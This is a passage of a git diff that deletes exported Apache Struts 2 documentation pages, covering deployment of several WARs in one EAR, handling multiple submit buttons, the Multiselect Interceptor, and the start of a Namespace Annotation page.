-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/multiple-struts-2-wars-in-a-single-ear.html b/content/docs/multiple-struts-2-wars-in-a-single-ear.html
deleted file mode 100644
index d9221a0..0000000
--- a/content/docs/multiple-struts-2-wars-in-a-single-ear.html
+++ /dev/null
@@ -1,190 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Multiple Struts 2 wars in a single ear</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="multiple-struts-2-wars-in-a-single-ear.html">Multiple Struts 2 wars in a single ear</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Multiple Struts 2 wars in a single ear</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=90457">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=90457">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=90457">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=90457">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=90457">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=90457">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Deploying multiple Struts 2 wars in a single ear may not work, due to each Struts 2 instance seeing configuration from the other war.  Struts 2 doesn't allow multiple configuration files for the same package, or more specifically in this case, multiple struts-default.xml files.  If possible, configure your application server to better isolate wars using a child first strategy for classloading.</p>
-
-<p>Wander Grevink reported the following (on GlassFish 2.1):</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre> 
-EAR
-    WAR-1
-        META-INF
-            MANIFEST.MF
-            
-    lib
-        struts*.jar
-        struts*.xml
-        
-    META-INF
-        application.xml
-        
-    WAR-2
-        META-INF
-            MANIFEST.MF
-</pre>
-</div></div> 
-
-<p>Where both MANIFEST.MF files contain the following entry:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>MANIFEST.MF</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-Class-Path: lib
-</pre>
-</div></div>
-
-<p>And application.xml contains this entry:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;"> 
-&lt;library-directory&gt;/lib&lt;/library-directory&gt;
-</pre>
-</div></div>
-
-<p>All struts related files go into the shared lib directory.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/multiple-submit-buttons.html b/content/docs/multiple-submit-buttons.html
deleted file mode 100644
index 6d82873..0000000
--- a/content/docs/multiple-submit-buttons.html
+++ /dev/null
@@ -1,346 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Multiple Submit Buttons</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="multiple-submit-buttons.html">Multiple Submit Buttons</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Multiple Submit Buttons</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14289">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14289">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14289">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14289">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14289">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14289">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>You can be also interested in checking the page <a shape="rect" href="html-form-buttons-howto.html">HTML form buttons HOWTO</a></p></div></div>
-<h1 id="MultipleSubmitButtons-Originalsolution">Original solution</h1>
-
-<h2 id="MultipleSubmitButtons-Introduction">Introduction</h2>
-
-<p>Often, we have multiple submit buttons within a single form. The below is just a simple way of identifying which button was clicked, and which actions to take.</p>
-
-<p>There are, of course, many ways of doing this, including the use of JavaScript to identify the actions, etc... You're welcome to pick and choose whichever method you find most useful. Struts 2 is flexible enough.</p>
-
-<h2 id="MultipleSubmitButtons-Form">Form</h2>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;button type="submit" value="Submit" name="submit"&gt;
-&lt;button type="submit" value="Clear" name="clear"&gt;
-</pre>
-</div></div>
-
-<h2 id="MultipleSubmitButtons-Actionwithbooleanproperties">Action with boolean properties</h2>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-class MyAction extends ActionSupport {
-   private boolean submit;
-   private boolean clear;
-   public void setSubmit(boolean submit) {
-      this.submit = submit;
-   }
-   public void setClear(boolean clear) {
-      this.clear = clear;
-   }
-   public String execute() {
-      if (submit) {
-         doSubmit();
-         return "submitResult";
-      }
-      if (clear) {
-         doClear();
-         return "clearResult";
-      }
-      return super.execute();
-   }
-}
-</pre>
-</div></div>
-
-<h2 id="MultipleSubmitButtons-Explanation">Explanation</h2>
-
-<p>The boolean properties 'submit' and 'clear' will be set to 'true' or 'false' according weather the submit or clear form element is present in the submitted form.</p>
-
-<p>In this case, the properties are boolean, therefore the values set would be boolean.</p>
-
-<p>There is another method, using String properties, described below...</p>
-
-<h2 id="MultipleSubmitButtons-Form.1">Form</h2>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;button type="submit" value="Submit" name="buttonName"&gt;
-&lt;button type="submit" value="Clear" name="buttonName"&gt;
-</pre>
-</div></div>
-
-<h2 id="MultipleSubmitButtons-ActionwithStringproperties">Action with String properties</h2>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-class MyAction extends ActionSupport {
-   private String buttonName;
-   public void setButtonName(String buttonName) {
-      this.buttonName = buttonName;
-   }
-   public String execute() {
-      if ("Submit".equals(buttonName)) {
-         doSubmit();
-         return "submitResult";
-      }
-      if ("Clear".equals(buttonName)) {
-         doClear();
-         return "clearResult";
-      }
-      return super.execute();
-   }
-}
-</pre>
-</div></div>
-
-<h2 id="MultipleSubmitButtons-Explanation.1">Explanation</h2>
-
-<p>In this case, the properties are String, therefore the values set are also String in nature.</p>
-
-<p>I don't really like this method, as it ties in the Action to the Form. (What happens if you want different text to show up on the button ? You would have to change both the form as well as the corresponding action.)</p>
-
-<h2 id="MultipleSubmitButtons-Conclusion">Conclusion</h2>
-
-<p>There are other ways to achieve the same functionality. There are pros and cons to each methods. Feedback welcome.</p>
-
-<h1 id="MultipleSubmitButtons-'ssolution"><a shape="rect" class="confluence-userlink user-mention" href="https://cwiki.apache.org/confluence/display/~maknyus" data-linked-resource-id="30742535" data-linked-resource-version="1" data-linked-resource-type="userinfo" data-base-url="https://cwiki.apache.org/confluence">Nyong Nyong</a>'s solution</h1>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>This was originally taken from comment posted by <a shape="rect" class="confluence-userlink user-mention" href="https://cwiki.apache.org/confluence/display/~maknyus" data-linked-resource-id="30742535" data-linked-resource-version="1" data-linked-resource-type="userinfo" data-base-url="https://cwiki.apache.org/confluence">Nyong Nyong</a> to this page - you can see it <a shape="rect" href="https://cwiki.apache.org/confluence/display/WW/Multiple+Submit+Buttons?focusedCommentId=30742556#c [...]
-
-<p>The more elegant solution is probably by using multiple mappings for same Action. This way you don't need to set "struts.enable.DynamicMethodInvocation" to "true".</p>
-
-<p>In JSP</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:form method="post" action="mySubmitAction"&gt;
-    &lt;s:submit value="Submit"/&gt;
-    &lt;s:submit value="Clear" action="myClearAction"/&gt;
-&lt;/form&gt;
-</pre>
-</div></div>
-
-<p>In struts.xml</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="mySubmitAction" class="MyAction" method="submit"&gt;
-       &lt;result&gt;submit.jsp&lt;/result&gt;
-&lt;/action&gt;
-&lt;action name="myClearAction" class="MyAction" method="clear"&gt;
-       &lt;result&gt;submit.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>Then in MyAction class</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public String submit() throws Exception {
-    // submit button logic here
-    return SUCCESS;
-}
-
-public String clear() throws Exception {
-    // clear button logic here
-    return SUCCESS;
-}
-</pre>
-</div></div>
-
-<p><br clear="none" class="atl-forced-newline">
-For best practice, if you have common data loaded / managed by your actions (submit &amp; clear), then for example, you can define a MyBaseAction class, extended by MySubmitAction and MyClearAction class. Then this is how they looks like:</p>
-
-<p>In struts.xml</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="mySubmitAction" class="MySubmitAction"&gt;
-       &lt;result&gt;submit.jsp&lt;/result&gt;
-&lt;/action&gt;
-&lt;action name="myClearAction" class="MyClearAction"&gt;
-       &lt;result&gt;submit.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>You don't need to specify a method name anymore, that means we will use the default execute() method.</p>
-
-
-<p>Then in the MyAction, MySubmitAction and MyClearAction class</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>MyAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MyAction extends ActionSupport {
-    // common data or logic here
-}
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>MySubmitAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MySubmitAction extends MyAction {
-
-    public String execute() throws Exception {
-        // submit button logic here
-        return SUCCESS;
-    }
-}
-</pre>
-</div></div>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>MyClearAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MyClearAction extends MyAction {
-
-    public String execute() throws Exception {
-        // clear button logic here
-        return SUCCESS;
-    }
-}
-</pre>
-</div></div>
-
-<p>Credit: <a shape="rect" class="external-link" href="http://stackoverflow.com/a/13336391/844005" rel="nofollow">Andrea Ligios</a></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/multiselect-interceptor.html b/content/docs/multiselect-interceptor.html
deleted file mode 100644
index e800204..0000000
--- a/content/docs/multiselect-interceptor.html
+++ /dev/null
@@ -1,140 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Multiselect Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="multiselect-interceptor.html">Multiselect Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Multiselect Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2850844">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2850844">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2850844">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2850844">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2850844">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2850844">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><code>org.apache.struts2.interceptor.MultiselectInterceptor</code> is in the <code>defaultStack</code>. It checks each form parameter submitted to the action and if it finds one with a prefix of <code>__multiselect_</code> it inserts a value for a parameter whose name is derived from the suffix to <code>__multiselect_</code> if it does not exist. The default value inserted is an empty String array.</p>
-
-<p>This means that a a field that can have multiple selected values(select, checkboxlist, etc) can be accompanied by a hidden input with the same name but a prefix of <code>__multiselect_</code> so that if the no value is selected on the form the action will still receive a value(empty collection) rather than the default HTML action of not providing a value for unselected elements,</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/namespace-annotation.html b/content/docs/namespace-annotation.html
deleted file mode 100644
index b9b3a1d..0000000
--- a/content/docs/namespace-annotation.html
+++ /dev/null
@@ -1,148 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Namespace Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
